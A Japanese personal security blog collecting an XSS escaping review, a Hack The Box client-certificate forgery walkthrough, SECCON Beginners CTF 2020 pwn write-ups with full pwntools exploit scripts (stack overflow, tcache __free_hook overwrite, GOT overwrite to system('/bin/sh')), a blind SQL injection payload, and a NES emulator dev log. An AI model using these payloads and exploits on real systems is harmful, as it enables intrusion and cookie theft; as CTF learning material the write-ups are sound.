セキュリティ系の勉強、その他開発メモとか雑談. GithubはUnity触っていた頃ものがメイン Twitterフォローもよろしくです

html属性とXSSの復習

XSS問を通じて、HTMLの挙動がよく分かってなかったと思ったので、そこをちょろっとまとめ直しておきます。

お題

とあるXSS問題。

<input type="text" value="" onclick="hoge('「ここに入力文字が入るよ」')" size=20>
    <input type=submit value="send"><br>
<script>function hoge(a){}</script>

f:id:thinline196:20200615153640p:plain:w400

「ここに入力文字が入るよ」の箇所に入力が埋め込まれてレスポンスが返ってくる感じ。ただし、エスケープは以下のようにされます。

「\」→「 \\」
「'」→「 \'」
「"」→「 \"」
「space」→「+」


これに対して私は以下のシグネチャで通った。 "onmouseover=alert(document.cookie);//

最終的に生成されたのはこちら。

<input type=text onclick="hoge('\"onmouseover=alert(1);//')" size=20>

これなんでマウスオーバー動くの。あ、これが自明な方は、得る知識がないと思われるのでブラウザバックで、、、

注意

</>タグ閉じなどを使えそうですが、今回はそこは見ないフリか追加で対策されているものとしてください、、、

調査

"エスケープ

そもそも"エスケープが\"では不十分。属性値を囲っている記号"は、\エスケープしてもその値の終端として解釈される。&quot;エスケープすること。

    test1(esaape to \")
    <input type="text" onclick="\" hoge="v" size=20>
    
     test2(escape to &quot;)
    <input type="text" onclick="&quot; hoge="v" size=20>


入力は" hoge="v"とする。test2ではvの手前の"が属性値の終わりと解釈されている。

属性間のスペースがなくても動作する

例えば、、

<input type="text"name="aa"onclick="hoge('hoge')"size=20>

これでもしっかり動きます。

逆に今回は、入力値にスペースを入れようと(" onmouseover=..)すると+エスケープされ、+mouseoverのような属性はないぞ、とのことになり発火はしないです。なので、今回のシグネチャでは"onmouseoverの間はスペースなしが必須となるようです。

文字が続いている限りスクリプト解釈

今回のシグネチャ内のonmouseover=以降は、"で囲われていないため、スペースまで(連続文字の箇所)がスクリプトと解釈されるようです。

    test3 
    <input type="text" onclick="hoge('\"onmouseover=alert(1);//')" size=20>
    <input type=submit value="send"><br>

    test4 (実際>は入力できなかった)
    <input type="text" onclick="hoge('\"onmouseover=alert(1)> //')" size=20>
    <input type=submit value="send"><br>

    test5
    <input type="text" onclick="hoge('\"onmouseover=alert(1); //')" size=20>
    <input type=submit value="send"><br>


シンタックスハイライトで見えているかと思われますが、test3test4onmouseoverの値の範囲が違うと思います。

html//コメントアウトと解釈しませんが、今回の例test3では、onmouseoverから文字が連続しているため//スクリプト側でコメントアウトと解釈されていました。ですので今回はコメントアウトすることで後ろの入らない文字を消していました。

test4は無理やりタグを閉じてしまったので、後ろはただの文字として表示されます。

余談

&#92;(バックスラッシュの意)のような数値文字参照?(っていうんですかね?)を使ったりなども可能。で、下のシグネチャなどもok

&#92;');alert(1);//

この場合、'\'エスケープされるが、\\'となるため\エスケープ対象となり結果的に\'と解釈され、hogeメソッドの引数内をうまく閉じている。

【Hack The Box】クライアント証明書を作成してごにょごにょ[LaCasaDePapel]

クライアント証明書作る当たりが曖昧だったので、簡単に残しておきます。

hacktheboxLaCasaDePapelというリタイアboxがあるのですが、そこのページがクライアント証明書を要求してくる。ので、クライアント証明書を作りたい。別脆弱性を使って認証局(CA)の秘密鍵を入手している状態です。

やること・手順

webページがクライアント証明書を要求してくるのでなんとか発行してページを閲覧したい。

  1. CAの秘密鍵が手に入ったのでこれを使う
  2. 自分用の鍵と証明書申請を生成
  3. webページから証明書内の公開鍵を入手
  4. CA秘密鍵, CA公開鍵, 自分の申請書より、自分のための公開証明書を作成(本来はCAで発行してもらう)
  5. ブラウザに設定しページにアクセス

用語・ファイルの説明

ファイル名には決まりはないのでこれに限らない。

用語・ファイル名 説明
CSR(.csr) 証明書署名要求。証明書の申請時に提出するファイル。このファイルに含まれる情報を元に証明書を発行
.crt 認証局が署名した証明書(公開鍵を含む) 
pkcs12 秘密鍵と証明書を 1つのファイルに格納する形式。firefox.crtじゃダメらしいのでこの.p12形式に変換する
ca.key 脆弱性をついて入手したCAの秘密鍵。本来は外から入手できてはいけない
caca.key 自分の秘密鍵。登録用に今回生成した
caca.csr 上で生成した鍵を登録申請するために使う。(公開鍵、所有者情報、秘密鍵を持っていることを示す申請者の署名が記載)
casadepapel.crt webページに登録されているCAの公開鍵(証明書)
pipi.crt 手元で生成した、クライアント証明書。CAの発行と同じ方法で作られる

手順

$ls
ca.key

CAの秘密鍵が入手されている状態

$openssl req -new -newkey rsa:2048 -nodes -keyout caca.key -out caca.csr 

自分の秘密鍵caca.keyと証明書署名要求caca.csrを生成

$openssl s_client -connect 10.10.10.131:443 -showcerts

対象ページの証明書を表示. その中から公開鍵(.crt)にあたる部分を抽出しcasadepapel.crtとして保存する。(手動) ブラウザから証明書をエクスポートしても良い。 *10.10.10.131は今回のboxの対象サーバ

$ openssl pkey -in ca.key -pubout| md5sum;openssl x509 -in casadepapel.crt -pubkey -noout| md5sum
71e2b2ca7b610c24d132e3e4c06daf0c  -
71e2b2ca7b610c24d132e3e4c06daf0c  -

入手した秘密鍵の対の公開鍵と証明書内の公開鍵が本当に一致するか確認。

$openssl x509 -req -in caca.csr -CA casadepapel.crt -CAkey ca.key -CAcreateserial -out pipi.crt -sha256

申請書、CAの公開鍵と秘密鍵から、自分のための公開証明書pip.crtを作成。(CAの秘密鍵で証明書署名要求に署名する。(認証局による公開鍵への署名)本来は認証局がやる作業。で、サーバ側からCAに使われたと思われる秘密鍵を入手できたので、自分の鍵(caca)がCAに認証された様にできるはず)。これがおそらくクライアント証明書。

しかし、firefoxに証明書を登録するにはpkcs12形式でないとダメらしいので、変換。

$openssl pkcs12 -export -in pipi.crt -inkey caca.key -out pipi.p12

pipi.crtPreferencesより登録して、対象ページにアクセスすれば自分をサーバ側が認証してくれる様になるはず。

参考

LaCasaDePapel - Hipotermia

【用語明解】証明書の申請で登場する各種ファイルの見分け方 | 大手正規SSL証明書が定価よりMAX66%OFFから 【 SSLコンシェル 】

OpenSSLによるオレオレ認証局が署名した証明書の作成 - Qiita

クライアント認証利用ガイド | スパイラル サポートサイト

SECCON Beginners CTF 2020 復習回

今回は1週間前からPwnを初めて、Pwnだけ解くという参加方法をしました。せっかくなので、残骸を残しておきます。WriteUpとしては他の方の記事の方が優れているので、そちらを参考にして下さい。

Beginner's Stack

次のような感じで、現在のスタックを表示してくれる、かつ問題の誘導もついていました。winのアドレス0x400861を呼ぶのが目標。Inputの入力から、bufに値を流し込めるため、たくさん文字を入力すればどんどん下に文字がたまっていきます。(適切な表現ではない)

$ ./chall 
Your goal is to call `win` function (located at 0x400861)

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffe7911f570 | 0x0000000000000000 | <-- buf
                   +--------------------+
0x00007ffe7911f578 | 0x0000000000000000 |
                   +--------------------+
0x00007ffe7911f580 | 0x0000000000000000 |
                   +--------------------+
0x00007ffe7911f588 | 0x00007f1dcb402190 |
                   +--------------------+
0x00007ffe7911f590 | 0x00007ffe7911f5a0 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffe7911f598 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007ffe7911f5a0 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007ffe7911f5a8 | 0x00007f1dcb224e0b | <-- return address (main)
                   +--------------------+
0x00007ffe7911f5b0 | 0x0000000000000000 |
                   +--------------------+
0x00007ffe7911f5b8 | 0x00007ffe7911f688 |
                   +--------------------+

Input: 

このvulnのリターンアドレスの箇所にwinのアドレスを書き込めばvuln関数を抜ける時にwinに飛びました(この辺りはバイナリを読んで掴むっぽい)

しかし、RSPは0x10倍でなければlibc-2.27systemなどの関数が呼べないとのこと。このままで行くと末尾が0x8になるっぽかったのでだめ。どうにかスタックをずらしたい。幸いwinの先頭命令がpush rbpだった(大体rbpの退避が行われてる)ので、これを読み飛ばせばスタックがずれそう。0x400862に飛ばしました。

[*] Switching to interactive mode

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffd8d7134a0 | 0x6161616161616161 | <-- buf
                   +--------------------+
0x00007ffd8d7134a8 | 0x6161616161616161 |
                   +--------------------+
0x00007ffd8d7134b0 | 0x6161616161616161 |
                   +--------------------+
0x00007ffd8d7134b8 | 0x0000000000000010 |
                   +--------------------+
0x00007ffd8d7134c0 | 0x00007ffd33913990 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffd8d7134c8 | 0x0000000000400862 | <-- return address (vuln)
                   +--------------------+
0x00007ffd8d7134d0 | 0x0000000000400a0a | <-- saved rbp (main)
                   +--------------------+
0x00007ffd8d7134d8 | 0x00007eff9ed82b97 | <-- return address (main)
                   +--------------------+
0x00007ffd8d7134e0 | 0x0000000000000001 |
                   +--------------------+
0x00007ffd8d7134e8 | 0x00007ffd8d7135b8 |
                   +--------------------+

Congratulations!
$ cat flag.txt
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}$ 

記念に汚いコードも残して置きましょう。

from pwn import *
import time

r = remote('bs.quals.beginners.seccon.jp', 9001)

# _=raw_input() #debug
#2つ目のpackは意味ないはず
r.sendlineafter(b'Input:', b'a'*24 + pack(0x10,word_size='64') + pack(0x00007ffd33913990,word_size='64')+ pack(0x400862,word_size='64'))

time.sleep(1)
print(r.recv(9999))
r.interactive()


Beginner's Heap

こちらも誘導付きでした。tcacheというfreeされた小さい領域がキャッシュされる場所を使ってwinを呼びます。__free_hookは解放される際に、書き込まれている関数を実行してくれるらしいので、hookにwinのアドレスを書き込むことが目標。

Let's learn heap overflow today
You have a chunk which is vulnerable to Heap Overflow (chunk A)

 A = malloc(0x18);

Also you can allocate and free a chunk which doesn't have overflow (chunk B)
You have the following important information:

 <__free_hook>: 0x7fa3a956c8e8
 <win>: 0x55d661063465

Call <win> function and you'll get the flag.

1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> 4
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x55d66142f330
 [+] B = (nil)

                   +--------------------+
0x000055d66142f320 | 0x0000000000000000 |
                   +--------------------+
0x000055d66142f328 | 0x0000000000000021 |
                   +--------------------+
0x000055d66142f330 | 0x0000000000000000 | <-- A
                   +--------------------+
0x000055d66142f338 | 0x0000000000000000 |
                   +--------------------+
0x000055d66142f340 | 0x0000000000000000 |
                   +--------------------+
0x000055d66142f348 | 0x0000000000020cc1 |
                   +--------------------+
0x000055d66142f350 | 0x0000000000000000 |
                   +--------------------+
0x000055d66142f358 | 0x0000000000000000 |
                   +--------------------+
0x000055d66142f360 | 0x0000000000000000 |
                   +--------------------+
0x000055d66142f368 | 0x0000000000000000 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


Aに書き込むをすれば、オーバーフローしてBの領域に書き込めます。その上からBに値を入れてみると確かにAが溢れてます。

> 1  <-- Aに書き込み
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
> 2 <--Bに書き込み
ccccccc

-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x55d66142f330
 [+] B = 0x55d66142f350

                   +--------------------+
0x000055d66142f320 | 0x0000000000000000 |
                   +--------------------+
0x000055d66142f328 | 0x0000000000000021 | <--Aのサイズ
                   +--------------------+
0x000055d66142f330 | 0x6161616161616161 | <-- A
                   +--------------------+
0x000055d66142f338 | 0x6161616161616161 |
                   +--------------------+
0x000055d66142f340 | 0x6161616161616161 |
                   +--------------------+
0x000055d66142f348 | 0x0000000000000021 | <--heapはリスト型になっていて、Bの書き込める領域のサイズを現してる(ヘッダ(サイズ以外にも情報を持ってる))
                   +--------------------+
0x000055d66142f350 | 0x0a63636363636363 | <-- B (ここからが書き込める場所)
                   +--------------------+
0x000055d66142f358 | 0x6161616161616161 |
                   +--------------------+
0x000055d66142f360 | 0x6161616161616161 | <--AがBの領域に書き込んでる
                   +--------------------+
0x000055d66142f368 | 0x6161616161616141 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Bをfreeすると先ほどのtcacheに繋がります。どういうことかというと、Bがあった場所がtcacheにポインタで繋がったイメージ。なので、Bの場所自体はそのままAの下に残ります。こんな感じでまたどこかのメモリが解放されると、 今度はBからそのメモリへ繋がるというように、単方向のリストになっているそう。で、ポイントなのがtcacheに繋がった時に、0x000055d66142f350の8byte分(先頭領域)は次に繋がるメモリを指す場所として使われる(fd)。
f:id:thinline196:20200526223826p:plain
ので、

  1. Bを解放する
  2. Aで0x000055d66142f350hookのアドレスを書き込む

でBの次はhookが繋がる。これの何が良いかというと、次Bと同じ大きさの領域を確保する時、tcacheの先頭に繋がれたものから再利用されるらしい。てことはどうにかBを退ければ2の操作をした時にhookが返されのhookの領域に書き込める。


てなわけで、一度hookがtcacheに繋がれたら、次はBの大きさを書き換えて、tcacheに繋がれないようにすれば良い。(今回使っていたのは0x20サイズのtcacheらしい)例えばサイズを0x30とすれば、0x30専用のtcacheに回されるらしい?この後は、再び2の操作をすればhookの領域が返されてwinのアドレスを書き込めるのでok


私の汚いコードです。

from pwn import *
import time

r = remote('bh.quals.beginners.seccon.jp', 9002)
for i in range(8):
    r.recvline()
hook = r.recvline() # hook
win = r.recvline() # win
print(hook)
hook = int(hook[18:-1].decode(),16)
win = int(win[10:-1].decode(),16)

r.sendline('4') # print
for i in range(32):
    r.recvline()
b_size = r.recvline() # B heap size
b_size = int(b_size[6:18].decode(),16)


r.sendline('2') # malloc B
r.sendline('bbbb') 
time.sleep(1)
r.sendline('3') # free B
time.sleep(1)

b_size = hook - b_size

r.sendline('1') # A
r.sendline(b'a'*24+ pack(0x30, word_size='64') +pack(hook, word_size='64') + pack(0x0, word_size='128') + pack(0x0, word_size='64'))

time.sleep(1)
r.sendline('2') # malloc B
r.sendline('a') # input any
time.sleep(1)
r.sendline('3') # set free and tcache indicate to hook address

time.sleep(1)
r.sendline('2') # B indicate hook
r.sendline(pack(win, word_size='64')) # write win address 
time.sleep(1)
r.sendline('3') # free B and execute win on hook address
r.interactive()

他の方のをみると文字の拾い方などが全然違うのでもっと綺麗に書ける。

Elementary Stack

これは解けなかったので復習用。参考元は作者さんです。

SECCON Beginners CTF 2020 作問者Writeup - CTFするぞ

...

__attribute__((constructor))
void setup(void) {
  setbuf(stdout, NULL);
  alarm(30);
}

__attribute__((noreturn))
void fatal(const char *msg) {
  printf("[FATAL] %s\n", msg);
  exit(0);
}

long readlong(const char *msg, char *buf, int size) {
  printf("%s", msg);

  if (read(0, buf, size) <= 0)
    fatal("I/O error");
  buf[size - 1] = 0;

  return atol(buf);  ②
}

int main(void) {
  int i;
  long v;
  char *buffer;
  unsigned long x[X_NUMBER];

  if ((buffer = malloc(0x20)) == NULL)
    fatal("Memory error");

  while(1) {
    i = (int)readlong("index: ", buffer, 0x20);
    v = readlong("value: ", buffer, 0x20);

    printf("x[%d] = %ld\n", i, v);
    x[i] = v;  ①
  }
  return 0;
}

readlongで指定したインデックス番目にvalue値を代入する感じ。bufferの値を上手く書き換える。プロの方は皆x[-2]bufferだって言っていたけれど、自分はまだ自明に見える段階に至っていないので困った。言われた後、①にbreakを挟んでスタックを見たら確かに0x10分小さい場所にあったので、long2つ分手前になる。最終的にreturn atol(buf)return system("/bin/sh")みたいにさせたい。

buffermallocを指せば、そこに色々書き込める。 f:id:thinline196:20200526223753p:plain

  1. input: x[-2]でbufferを指すように
  2. value: mallocを指しているアドレス
  3. ①でbufferがmallocを指しているアドレスを指す
  4. input: 0xdeadbeaf+ printfmallocの場所に書き込む
  5. value: printfの引数をbufに書き込む
  6. ②がprintf(%25p$n)として発火(リーク)
  7. input: deadbeaf+systemmallocの場所に書き込む 1.value: systemの引数をbufに書き込む 1.②がsystem('/bin/sh')として発火

今回はちょっと%25のインデックスの理由まで追えてないですが、同じくこのサイトさんで解説されてるやつのなので、今度目を通して置きます。

Format String Exploitを試してみる - CTFするぞ

from pwn import *

libc = ELF("./libc-2.27.so")
elf = ELF("./chall")
context.binary = elf
#r = remote("localhost",4000)
r= remote("es.quals.beginners.seccon.jp", 9003)
delta = 0xe7
print(elf.symbols['got.atol'])

r.sendlineafter(": ", "-2")
r.sendlineafter(": ", str(elf.symbols['got.malloc']))

r.sendlineafter(": ", p64(0xdeadbeef) + p64(elf.symbols["plt.printf"]))
r.sendlineafter(": ", "%25$p")
libc_base = int(r.recvline(),16) - libc.symbols["__libc_start_main"] - 0xe7
libc_system = libc_base + libc.symbols["system"]


r.sendlineafter(":", p64(0xdeadbeaf) + p64(libc_system))
r.sendlineafter(":", "/bin/sh")
# r.sendafter(":", "/bin/sh\0")
r.interactive()

Tweetstore(おまけ)

Pwnしかやらないって言ってたけどあれは嘘で、実は耐えきれなくて適当に一問解いてた。limit句の後にインジェクションする。結果がレコード数に反映される感じだったので、asciiでレコード数数えて行くのが定石っぽいんだけど、僕は脳死when case。総当たりステータスコードで判断。

sql = "(SELECT (CASE WHEN ((SELECT concat(substr(usename,{index},1)) from pg_user order by usename asc limit 1) = '{flag}') THEN 2 ELSE (select 11 union select 22) END));".format(index = index, flag = char)

余談だけどもこのselect 11とかのは以前sqlmapさんがやってるのを見てそれ以来真似てこんな書き方してる。絶対もっといい方法ある

unzip(おまけ)

これは終了後見てた。zipに相対パスのファイル名を仕込むやつです。圧縮する前に相対パスに書き換える分だけ別文字でファイル名を形成しておかないと、上手くいかない。../flag.txtならaaaflag.txtにしておく。忘れそうなのでメモ。

最後に

Pwn面白かったので、時間が空いたら勉強したいです

【HTB】boxとの接続が切れる

あらまし

Hack the Boxの問題を解いている際に、sshなどでboxに繋いでいると時たま制御不能になります。大体4分ぐらい待つと帰ってくる。

そもそもブラウザアクセスもできないので、向こうのboxが落ちたり再起動かかっているのかと思っていた。

解決

openvpntcpで繋ぐ。メインページにも書いてある事なので、デフォルトのudpではよくあることのようです。今まで見落としていました、、

Alternate TCP Connection By default, our network uses UDP port 1337. If this port is blocked at your location, you can try switching to TCP 443 by editing your .ovpn file.

  • Change proto udp to proto tcp
  • Change remote {serverAddressHere} 1337 to remote {serverAddressHere} 443
  • Change <tls-auth> to <tls-crypt>
  • Change </tls-auth> to </tls-crypt>

引用:https://www.hackthebox.eu/home/htb/access


とりあえず切れなくなりました。

追記

tcpだとリバースシェルがうまく張れない時があることを確認(この時UDPでは張れたが最初のすぐ切れる現象有り) f:id:thinline196:20200510164454p:plain

ファミコンエミュレータを写経してみるお話7【DMC, SRAM(バッテリーバックアップRAM)】

前回
ファミコンエミュレータを写経してみるお話6【ROMの吸い出し、Mapper】 - 196Log

前回の振り返り

mapperの対応をメインにカセットが動くように修正を行いました。が、音周りに未実装な部分が残っていました。セーブも行えない状況です。

参考にするもの

  • コード周りはこちらのコードを観させてもらおうと思います。またRustの書き方の勉強としても頼りにさせてもらいます。
    github.com

ファミコンエミュレータの創り方 - Speaker Deck

  • こちらに有志の皆さんがNESの情報をまとめて下さっているので、利用させてもらいます。特に、コードを写経しているだけでは意味がないので、まずこちらを見て自分で実装を考えます。

hp.vector.co.jp

pgate1.at-ninja.jp

  • こちらの本も参考にさせてもらいます。1つ目のリンクの方の実装と見比べる事で、実装にマストな部分を見出すために使いました。また、こちらの方の実装順番も参考にしてます。

booth.pm

読み始める前に

  • ファミコンの仕様についてはネット上にたくさん情報が上がっているので、ここでは詳しい事は書かないです。(自分も分からない)用語の説明もほとんどしていません。 しかし、実装手順の再現性があるサイトは個人的に少ないなと感じたので、自分の試行錯誤をここにまとめて、うまく踏み台にしてもらえたらなと考えています。言語はRustを使っており参考サイトもRustが中心のものが多いです。
  • また、解説力も乏しいので、適宜実装が完了したと思われるcommitにジャンプできるGithubのリンクをそれぞれに置いておくので、そこからコミット履歴などを参照していただいてもらう形にします。申し訳ないです。

DMC

DMCは、サンプリングした音を鳴らす機構のようです。録音した音を再生する装置みたいな感じだと思います。本プロジェクトでは音の出力方法が本来のものと違うため、どこまで再現できるか不安ではありますが、以前参考にしたこちらのリポジトリを参考に実装してみます。

nes/apu.go at master · fogleman/nes · GitHub
そして実装はこちらのプルリクになります。

github.com


実装には

  • 矩形波がうまく鳴らないホットフィックス
  • DMCの仮実装

が含まれています。DMCに関しては自分がうまく理解できなかったため、あまり良い実装になっていないのと、音が若干違うこと、再生停止時の特有のノイズが入らない問題があります。また、WebAudioへの渡し方も微妙なので、ここのあたりは後々大きく変更するかもしれません。


SRAM(バッテリーRAM)

バッテリーバックアップRAM(正式名称不明)は、カセット側にあるRAMで、データの記憶方法を持たないファミコンにおいて、セーブデータなどを記録しておく場所として使われているはずです。色々と策は考えられますが、現状ブラウザのJSと繋がりがあるので、ブラウザに保存しておくのが一番簡単な方法かなと思います。今回はsave ramから取ってSRAMという名前で実装しています。

github.com


機能としては、(0x6000-0x7FFF)に割り当てられている8KBのRAMをローカルストレージに保存、またロード時に自動復帰する仕組みです。ローカルストレージにはカセットデータのパス名を利用してますので、上書きの心配はないと思います。


一区切り

ここまでを通じて、mapper0, Mapper3, Mapper4に加え、バックアップRAMの記録が動作するエミュレータを作成できました。私の目標はMapper4のゲームを動かすことでしたので、ここでコンスタントな実装は終了しようと思います。

一方幾つかバグや実装残しもあります。

  • APUの再実装(DMCがひどい)。具体的にはWebAudioをやめて、本来のNES寄りの出力方法にしたい
  • Spriteの描画プライオリティが正確ではない?例えばDQではスライムの影が手前に描画されている。
  • デバッグのためにCPUレジスタログの取得など
  • 長時間利用で重くなることがある?

などなどが現状気になっております。以降ブログにまとめることはないとは思いますが、リポジトリは適宜更新しようかなと思ってます。(多分)

以上。